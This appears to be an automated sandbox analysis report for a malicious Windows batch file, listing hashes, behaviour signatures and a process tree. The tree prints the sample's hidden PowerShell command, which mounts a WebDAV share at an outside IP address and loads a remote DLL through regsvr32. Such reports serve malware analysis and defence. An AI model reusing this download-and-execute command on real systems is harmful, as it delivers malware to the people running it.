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Analysis
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max time kernel
142s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
19/07/2024, 22:43
Static task
static1
Behavioral task
behavioral1
Sample
17843242292216017916.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
17843242292216017916.bat
Resource
win10v2004-20240709-en
General
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Target
17843242292216017916.bat
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Size
13KB
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MD5
2a824d121e93386d58bbd33196579132
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SHA1
76f7b44b962a147d014ce72e31562ba5823446c7
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SHA256
0c71dfce4d8138a6bd727ea362e874d60bbfc8172399c3c97823bb6d72a884b5
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SHA512
bc4782eb46e0c438127f27023cfb08f9d08ff8c59a8e5fcc20ecef50b26c37fa4fec3ae24fbef3edaca3ae83052b008f0e9e93e94596844217cce2848dcd5972
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SSDEEP
384:HvZYxYW3QsuS38IpBOGdb8JohgDuqC8b2hIIIob2hIIITUQaiCMaHHkr:HSxYW3QI7OowOhgDw8IpmBc
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3756 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3756 powershell.exe 3756 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3756 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 3992 wordpad.exe 3992 wordpad.exe 3992 wordpad.exe 3992 wordpad.exe 3992 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 680 wrote to memory of 3992 680 cmd.exe 85 PID 680 wrote to memory of 3992 680 cmd.exe 85 PID 680 wrote to memory of 3756 680 cmd.exe 87 PID 680 wrote to memory of 3756 680 cmd.exe 87 PID 3756 wrote to memory of 2096 3756 powershell.exe 89 PID 3756 wrote to memory of 2096 3756 powershell.exe 89 PID 3756 wrote to memory of 2472 3756 powershell.exe 90 PID 3756 wrote to memory of 2472 3756 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\17843242292216017916.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:680 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:3992
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\16803471426699.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3756 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2096
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\16803471426699.dll3⤵PID:2472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:5112
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82